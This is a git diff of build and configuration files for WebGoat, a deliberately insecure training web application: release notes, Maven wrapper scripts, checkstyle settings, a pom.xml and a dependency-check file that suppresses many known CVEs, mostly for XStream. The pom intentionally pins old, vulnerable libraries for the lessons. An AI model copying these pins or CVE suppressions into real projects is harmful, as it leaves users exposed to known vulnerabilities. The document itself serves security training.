to http://localhost a landing page is shown. + +### Bug fixes + +- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039) +- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031) +- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027) + +## Version 8.2.1 + +### New functionality + +- New Docker image for arm64 architecture is now available (for Apple M1) + +## Version 8.2.0 + +### New functionality + +- Add new zip slip lesson (part of path traversal) +- SQL lessons are now separate for each user, database are now per user and no longer shared across users +- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5 + +### Bug fixes + +- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974) +- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962) +- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961) +- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949) +- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923) +- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922) +- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891) +- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844) +- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843) +- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841) +- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839) +- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838) + +## Contributors + +Special thanks to the following contributors providing us with a pull request: + +- nicholas-quirk +- VijoPlays +- aolle +- trollingHeifer +- maximmasiutin +- toshihue +- avivmu +- KellyMarchewa +- NatasG +- gabe-sky + +## Version 8.1.0 + +### New functionality + +- Added new lessons for cryptography and path-traversal +- Extra content added to the XXE lesson +- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github. +- Docker improvements + docker stack for complete container with nginx +- Included JWT token decoding and generation, since jwt.io does not support None anymore + +### Bug fixes + +- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) +- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811) +- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810) +- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) +- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760) +- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766) +- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708) +- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) +- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) +- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) +- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) +- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) +- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) + +## Contributors + +Special thanks to the following contributors providing us with a pull request: + +- Satoshi SAKAO +- Philippe Lafoucrière +- Cotonne +- Tiago Mussi +- thegoodcrumpets +- Atharva Vaidya +- torleif +- August Detlefsen +- Choe Hyeong Jin + +And everyone who provided feedback through Github. + +Team WebGoat + diff --git a/config/checkstyle/checkstyle.xml b/config/checkstyle/checkstyle.xml new file mode 100755 index 000000000..8ba0622f5 --- /dev/null +++ b/config/checkstyle/checkstyle.xml @@ -0,0 +1,259 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/config/checkstyle/suppressions.xml b/config/checkstyle/suppressions.xml new file mode 100644 index 000000000..6ce36f4e1 --- /dev/null +++ b/config/checkstyle/suppressions.xml @@ -0,0 +1,11 @@ + + + + + + + + + \ No newline at end of file diff --git a/config/dependency-check/project-suppression.xml b/config/dependency-check/project-suppression.xml new file mode 100644 index 000000000..7df811240 --- /dev/null +++ b/config/dependency-check/project-suppression.xml @@ -0,0 +1,77 @@ + + + + + 7 + + + + 13f4f564024d2f85502c151942307c3ca851a4f7 + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework/spring\-core@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework/spring\-aop@.*$ + CVE-2016-1000027 + + + + ^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$ + CVE-2022-22978 + + + + ^pkg:maven/rubygems/jruby\-openssl@.*$ + cpe:/a:jruby:jruby + cpe:/a:openssl:openssl + + + + ^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$ + cpe:/a:xstream_project:xstream + CVE-2013-7285 + CVE-2016-3674 + CVE-2017-7957 + CVE-2020-26217 + CVE-2020-26258 + CVE-2020-26259 + CVE-2021-21341 + CVE-2021-21342 + CVE-2021-21343 + CVE-2021-21344 + CVE-2021-21345 + CVE-2021-21346 + CVE-2021-21347 + CVE-2021-21348 + CVE-2021-21349 + CVE-2021-21350 + CVE-2021-21351 + CVE-2021-43859 + + + + ^pkg:maven/org\.springframework/spring\-.*@.*$ + CVE-2016-1000027 + + diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 000000000..6f0484341 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,4 @@ +# WebGoat landing page + +Old GitHub page which now redirects to OWASP website. + diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 000000000..78d11aff2 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,14 @@ + + + + + + + + + +

+ The page been moved to https://owasp.org/www-project-webgoat/ +

+ + \ No newline at end of file diff --git a/mvn-debug b/mvn-debug new file mode 100755 index 000000000..422467b12 --- /dev/null +++ b/mvn-debug @@ -0,0 +1,2 @@ +export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000" +./mvnw $@ diff --git a/mvnw b/mvnw new file mode 100755 index 000000000..d2f0ea380 --- /dev/null +++ b/mvnw @@ -0,0 +1,310 @@ +#!/bin/sh +# ---------------------------------------------------------------------------- +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# ---------------------------------------------------------------------------- + +# ---------------------------------------------------------------------------- +# Maven2 Start Up Batch script +# +# Required ENV vars: +# ------------------ +# JAVA_HOME - location of a JDK home dir +# +# Optional ENV vars +# ----------------- +# M2_HOME - location of maven2's installed home dir +# MAVEN_OPTS - parameters passed to the Java VM when running Maven +# e.g. to debug Maven itself, use +# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +# MAVEN_SKIP_RC - flag to disable loading of mavenrc files +# ---------------------------------------------------------------------------- + +if [ -z "$MAVEN_SKIP_RC" ] ; then + + if [ -f /etc/mavenrc ] ; then + . /etc/mavenrc + fi + + if [ -f "$HOME/.mavenrc" ] ; then + . "$HOME/.mavenrc" + fi + +fi + +# OS specific support. $var _must_ be set to either true or false. +cygwin=false; +darwin=false; +mingw=false +case "`uname`" in + CYGWIN*) cygwin=true ;; + MINGW*) mingw=true;; + Darwin*) darwin=true + # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home + # See https://developer.apple.com/library/mac/qa/qa1170/_index.html + if [ -z "$JAVA_HOME" ]; then + if [ -x "/usr/libexec/java_home" ]; then + export JAVA_HOME="`/usr/libexec/java_home`" + else + export JAVA_HOME="/Library/Java/Home" + fi + fi + ;; +esac + +if [ -z "$JAVA_HOME" ] ; then + if [ -r /etc/gentoo-release ] ; then + JAVA_HOME=`java-config --jre-home` + fi +fi + +if [ -z "$M2_HOME" ] ; then + ## resolve links - $0 may be a link to maven's home + PRG="$0" + + # need this for relative symlinks + while [ -h "$PRG" ] ; do + ls=`ls -ld "$PRG"` + link=`expr "$ls" : '.*-> \(.*\)$'` + if expr "$link" : '/.*' > /dev/null; then + PRG="$link" + else + PRG="`dirname "$PRG"`/$link" + fi + done + + saveddir=`pwd` + + M2_HOME=`dirname "$PRG"`/.. + + # make it fully qualified + M2_HOME=`cd "$M2_HOME" && pwd` + + cd "$saveddir" + # echo Using m2 at $M2_HOME +fi + +# For Cygwin, ensure paths are in UNIX format before anything is touched +if $cygwin ; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --unix "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --unix "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --unix "$CLASSPATH"` +fi + +# For Mingw, ensure paths are in UNIX format before anything is touched +if $mingw ; then + [ -n "$M2_HOME" ] && + M2_HOME="`(cd "$M2_HOME"; pwd)`" + [ -n "$JAVA_HOME" ] && + JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" +fi + +if [ -z "$JAVA_HOME" ]; then + javaExecutable="`which javac`" + if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then + # readlink(1) is not available as standard on Solaris 10. + readLink=`which readlink` + if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then + if $darwin ; then + javaHome="`dirname \"$javaExecutable\"`" + javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" + else + javaExecutable="`readlink -f \"$javaExecutable\"`" + fi + javaHome="`dirname \"$javaExecutable\"`" + javaHome=`expr "$javaHome" : '\(.*\)/bin'` + JAVA_HOME="$javaHome" + export JAVA_HOME + fi + fi +fi + +if [ -z "$JAVACMD" ] ; then + if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD="$JAVA_HOME/jre/sh/java" + else + JAVACMD="$JAVA_HOME/bin/java" + fi + else + JAVACMD="`which java`" + fi +fi + +if [ ! -x "$JAVACMD" ] ; then + echo "Error: JAVA_HOME is not defined correctly." >&2 + echo " We cannot execute $JAVACMD" >&2 + exit 1 +fi + +if [ -z "$JAVA_HOME" ] ; then + echo "Warning: JAVA_HOME environment variable is not set." +fi + +CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher + +# traverses directory structure from process work directory to filesystem root +# first directory with .mvn subdirectory is considered project base directory +find_maven_basedir() { + + if [ -z "$1" ] + then + echo "Path not specified to find_maven_basedir" + return 1 + fi + + basedir="$1" + wdir="$1" + while [ "$wdir" != '/' ] ; do + if [ -d "$wdir"/.mvn ] ; then + basedir=$wdir + break + fi + # workaround for JBEAP-8937 (on Solaris 10/Sparc) + if [ -d "${wdir}" ]; then + wdir=`cd "$wdir/.."; pwd` + fi + # end of workaround + done + echo "${basedir}" +} + +# concatenates all lines of a file +concat_lines() { + if [ -f "$1" ]; then + echo "$(tr -s '\n' ' ' < "$1")" + fi +} + +BASE_DIR=`find_maven_basedir "$(pwd)"` +if [ -z "$BASE_DIR" ]; then + exit 1; +fi + +########################################################################################## +# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +# This allows using the maven wrapper in projects that prohibit checking in binary data. +########################################################################################## +if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found .mvn/wrapper/maven-wrapper.jar" + fi +else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." + fi + if [ -n "$MVNW_REPOURL" ]; then + jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + else + jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + fi + while IFS="=" read key value; do + case "$key" in (wrapperUrl) jarUrl="$value"; break ;; + esac + done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" + if [ "$MVNW_VERBOSE" = true ]; then + echo "Downloading from: $jarUrl" + fi + wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" + if $cygwin; then + wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` + fi + + if command -v wget > /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found wget ... using wget" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + wget "$jarUrl" -O "$wrapperJarPath" + else + wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" + fi + elif command -v curl > /dev/null; then + if [ "$MVNW_VERBOSE" = true ]; then + echo "Found curl ... using curl" + fi + if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then + curl -o "$wrapperJarPath" "$jarUrl" -f + else + curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f + fi + + else + if [ "$MVNW_VERBOSE" = true ]; then + echo "Falling back to using Java to download" + fi + javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" + # For Cygwin, switch paths to Windows format before running javac + if $cygwin; then + javaClass=`cygpath --path --windows "$javaClass"` + fi + if [ -e "$javaClass" ]; then + if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Compiling MavenWrapperDownloader.java ..." + fi + # Compiling the Java class + ("$JAVA_HOME/bin/javac" "$javaClass") + fi + if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then + # Running the downloader + if [ "$MVNW_VERBOSE" = true ]; then + echo " - Running MavenWrapperDownloader.java ..." + fi + ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") + fi + fi + fi +fi +########################################################################################## +# End of extension +########################################################################################## + +export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} +if [ "$MVNW_VERBOSE" = true ]; then + echo $MAVEN_PROJECTBASEDIR +fi +MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" + +# For Cygwin, switch paths to Windows format before running java +if $cygwin; then + [ -n "$M2_HOME" ] && + M2_HOME=`cygpath --path --windows "$M2_HOME"` + [ -n "$JAVA_HOME" ] && + JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` + [ -n "$CLASSPATH" ] && + CLASSPATH=`cygpath --path --windows "$CLASSPATH"` + [ -n "$MAVEN_PROJECTBASEDIR" ] && + MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` +fi + +# Provide a "standardized" way to retrieve the CLI args that will +# work with both Windows and non-Windows executions. +MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" +export MAVEN_CMD_LINE_ARGS + +WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +exec "$JAVACMD" \ + $MAVEN_OPTS \ + -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ + "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ + ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" diff --git a/mvnw.cmd b/mvnw.cmd new file mode 100644 index 000000000..b26ab24f0 --- /dev/null +++ b/mvnw.cmd @@ -0,0 +1,182 @@ +@REM ---------------------------------------------------------------------------- +@REM Licensed to the Apache Software Foundation (ASF) under one +@REM or more contributor license agreements. See the NOTICE file +@REM distributed with this work for additional information +@REM regarding copyright ownership. The ASF licenses this file +@REM to you under the Apache License, Version 2.0 (the +@REM "License"); you may not use this file except in compliance +@REM with the License. You may obtain a copy of the License at +@REM +@REM http://www.apache.org/licenses/LICENSE-2.0 +@REM +@REM Unless required by applicable law or agreed to in writing, +@REM software distributed under the License is distributed on an +@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +@REM KIND, either express or implied. See the License for the +@REM specific language governing permissions and limitations +@REM under the License. +@REM ---------------------------------------------------------------------------- + +@REM ---------------------------------------------------------------------------- +@REM Maven2 Start Up Batch script +@REM +@REM Required ENV vars: +@REM JAVA_HOME - location of a JDK home dir +@REM +@REM Optional ENV vars +@REM M2_HOME - location of maven2's installed home dir +@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands +@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending +@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven +@REM e.g. to debug Maven itself, use +@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 +@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files +@REM ---------------------------------------------------------------------------- + +@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' +@echo off +@REM set title of command window +title %0 +@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' +@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% + +@REM set %HOME% to equivalent of $HOME +if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") + +@REM Execute a user defined script before this one +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre +@REM check for pre script, once with legacy .bat ending and once with .cmd ending +if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" +if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" +:skipRcPre + +@setlocal + +set ERROR_CODE=0 + +@REM To isolate internal variables from possible post scripts, we use another setlocal +@setlocal + +@REM ==== START VALIDATION ==== +if not "%JAVA_HOME%" == "" goto OkJHome + +echo. +echo Error: JAVA_HOME not found in your environment. >&2 +echo Please set the JAVA_HOME variable in your environment to match the >&2 +echo location of your Java installation. >&2 +echo. +goto error + +:OkJHome +if exist "%JAVA_HOME%\bin\java.exe" goto init + +echo. +echo Error: JAVA_HOME is set to an invalid directory. >&2 +echo JAVA_HOME = "%JAVA_HOME%" >&2 +echo Please set the JAVA_HOME variable in your environment to match the >&2 +echo location of your Java installation. >&2 +echo. +goto error + +@REM ==== END VALIDATION ==== + +:init + +@REM Find the project base dir, i.e. the directory that contains the folder ".mvn". +@REM Fallback to current working directory if not found. + +set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% +IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir + +set EXEC_DIR=%CD% +set WDIR=%EXEC_DIR% +:findBaseDir +IF EXIST "%WDIR%"\.mvn goto baseDirFound +cd .. +IF "%WDIR%"=="%CD%" goto baseDirNotFound +set WDIR=%CD% +goto findBaseDir + +:baseDirFound +set MAVEN_PROJECTBASEDIR=%WDIR% +cd "%EXEC_DIR%" +goto endDetectBaseDir + +:baseDirNotFound +set MAVEN_PROJECTBASEDIR=%EXEC_DIR% +cd "%EXEC_DIR%" + +:endDetectBaseDir + +IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig + +@setlocal EnableExtensions EnableDelayedExpansion +for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a +@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% + +:endReadAdditionalConfig + +SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" +set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" +set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain + +set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + +FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( + IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B +) + +@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central +@REM This allows using the maven wrapper in projects that prohibit checking in binary data. +if exist %WRAPPER_JAR% ( + if "%MVNW_VERBOSE%" == "true" ( + echo Found %WRAPPER_JAR% + ) +) else ( + if not "%MVNW_REPOURL%" == "" ( + SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar" + ) + if "%MVNW_VERBOSE%" == "true" ( + echo Couldn't find %WRAPPER_JAR%, downloading it ... + echo Downloading from: %DOWNLOAD_URL% + ) + + powershell -Command "&{"^ + "$webclient = new-object System.Net.WebClient;"^ + "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ + "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ + "}"^ + "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ + "}" + if "%MVNW_VERBOSE%" == "true" ( + echo Finished downloading %WRAPPER_JAR% + ) +) +@REM End of extension + +@REM Provide a "standardized" way to retrieve the CLI args that will +@REM work with both Windows and non-Windows executions. +set MAVEN_CMD_LINE_ARGS=%* + +%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* +if ERRORLEVEL 1 goto error +goto end + +:error +set ERROR_CODE=1 + +:end +@endlocal & set ERROR_CODE=%ERROR_CODE% + +if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost +@REM check for post script, once with legacy .bat ending and once with .cmd ending +if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" +if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" +:skipRcPost + +@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' +if "%MAVEN_BATCH_PAUSE%" == "on" pause + +if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% + +exit /B %ERROR_CODE% diff --git a/pom.xml b/pom.xml new file mode 100644 index 000000000..15851ec3b --- /dev/null +++ b/pom.xml @@ -0,0 +1,726 @@ + + + + 4.0.0 + + + org.springframework.boot + spring-boot-starter-parent + 2.7.1 + + org.owasp.webgoat + webgoat + 2023.3 + jar + + WebGoat + WebGoat, a deliberately insecure Web Application + https://github.com/WebGoat/WebGoat + 2006 + + OWASP + https://github.com/WebGoat/WebGoat/ + + + + GNU General Public License, version 2 + https://www.gnu.org/licenses/gpl-2.0.txt + + + + + mayhew64 + Bruce Mayhew + webgoat@owasp.org + OWASP + https://github.com/WebGoat/WebGoat + + + nbaars + Nanne Baars + nanne.baars@owasp.org + https://github.com/nbaars + Europe/Amsterdam + + + misfir3 + Jason White + jason.white@owasp.org + + + zubcevic + René Zubcevic + rene.zubcevic@owasp.org + + + aolle + Àngel Ollé Blázquez + angel@olleb.com + + + jwayman + Jeff Wayman + + + + dcowden + Dave Cowden + + + + lawson89 + Richard Lawson + + + + dougmorato + Doug Morato + doug.morato@owasp.org + OWASP + https://github.com/dougmorato + America/New_York + + https://avatars2.githubusercontent.com/u/9654?v=3&s=150 + + + + + + + OWASP WebGoat Mailing List + https://lists.owasp.org/mailman/listinfo/owasp-webgoat + Owasp-webgoat-request@lists.owasp.org + owasp-webgoat@lists.owasp.org + http://lists.owasp.org/pipermail/owasp-webgoat/ + + + + + scm:git:git@github.com:WebGoat/WebGoat.git + scm:git:git@github.com:WebGoat/WebGoat.git + HEAD + https://github.com/WebGoat/WebGoat + + + + Github Issues + https://github.com/WebGoat/WebGoat/issues + + + + + + 2.5.3 + 3.3.7 + 2.2 + + 3.1.2 + 3.2.1 + 2.6 + 3.12.0 + 1.9 + 30.1-jre + 17 + 0.9.1 + 0.7.6 + 3.5.1 + 1.14.3 + 3.8.0 + 2.22.0 + 3.1.2 + 3.1.1 + 3.1.0 + 3.0.0-M5 + 17 + 17 + 3.15.0 + + UTF-8 + UTF-8 + 3.0.15.RELEASE + 4.3.1 + 8080 + 9090 + 2.27.2 + 1.2 + 1.4.5 + + 1.5.2 + + + + + + + org.ow2.asm + asm + 9.1 + + + + org.apache.commons + commons-exec + 1.3 + + + org.asciidoctor + asciidoctorj + ${asciidoctorj.version} + + + + org.jsoup + jsoup + ${jsoup.version} + + + com.nulab-inc + zxcvbn + ${zxcvbn.version} + + + com.thoughtworks.xstream + xstream + ${xstream.version} + + + cglib + cglib-nodep + ${cglib.version} + + + xml-resolver + xml-resolver + ${xml-resolver.version} + + + io.jsonwebtoken + jjwt + ${jjwt.version} + + + com.google.guava + guava + ${guava.version} + + + commons-io + commons-io + ${commons-io.version} + + + org.apache.commons + commons-text + ${commons-text.version} + + + org.bitbucket.b_c + jose4j + ${jose4j.version} + + + org.webjars + bootstrap + ${bootstrap.version} + + + org.webjars + jquery + ${jquery.version} + + + com.github.tomakehurst + wiremock + ${wiremock.version} + + + io.github.bonigarcia + webdrivermanager + ${webdriver.version} + + + org.apache.commons + commons-compress + 1.21 + + + org.jruby + jruby + 9.3.6.0 + + + + + + + org.apache.commons + commons-exec + + + org.springframework.boot + spring-boot-starter-validation + + + org.projectlombok + lombok + provided + true + + + javax.xml.bind + jaxb-api + + + org.springframework.boot + spring-boot-starter-undertow + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-tomcat + + + + + org.springframework.boot + spring-boot-starter-actuator + + + org.flywaydb + flyway-core + + + org.asciidoctor + asciidoctorj + + + org.springframework.boot + spring-boot-starter-data-jpa + + + org.springframework.boot + spring-boot-starter-security + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + org.thymeleaf.extras + thymeleaf-extras-springsecurity5 + + + org.hsqldb + hsqldb + + + org.jsoup + jsoup + + + com.nulab-inc + zxcvbn + + + com.thoughtworks.xstream + xstream + + + cglib + cglib-nodep + + + xml-resolver + xml-resolver + + + io.jsonwebtoken + jjwt + + + com.google.guava + guava + + + commons-io + commons-io + + + org.apache.commons + commons-lang3 + + + org.apache.commons + commons-text + + + org.bitbucket.b_c + jose4j + + + org.webjars + bootstrap + + + org.webjars + jquery + + + org.glassfish.jaxb + jaxb-runtime + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + test + + + com.github.tomakehurst + wiremock + test + + + io.rest-assured + rest-assured + test + + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + true + true + org.owasp.webgoat.server.StartWebGoat + + + + org.asciidoctor + asciidoctorj + + + + + + + repackage + + + + + + org.codehaus.mojo + build-helper-maven-plugin + + + add-integration-test-source-as-test-sources + + add-test-source + + generate-test-sources + + + src/it/java + + + + + + + org.apache.maven.plugins + maven-failsafe-plugin + + + ${basedir}/src/test/resources/logback-test.xml + + -Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} + org/owasp/webgoat/*Test + + + + integration-test + + integration-test + + + + verify + + verify + + + + + + org.apache.maven.plugins + maven-surefire-plugin + ${maven-surefire-plugin.version} + + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED + --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED + + **/*IntegrationTest.java + src/it/java + org/owasp/webgoat/*Test + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + ${checkstyle.version} + + UTF-8 + true + true + config/checkstyle/checkstyle.xml + config/checkstyle/suppressions.xml + checkstyle.suppressions.file + + + + com.diffplug.spotless + spotless-maven-plugin + 2.29.0 + + + + + .gitignore + + + + + true + 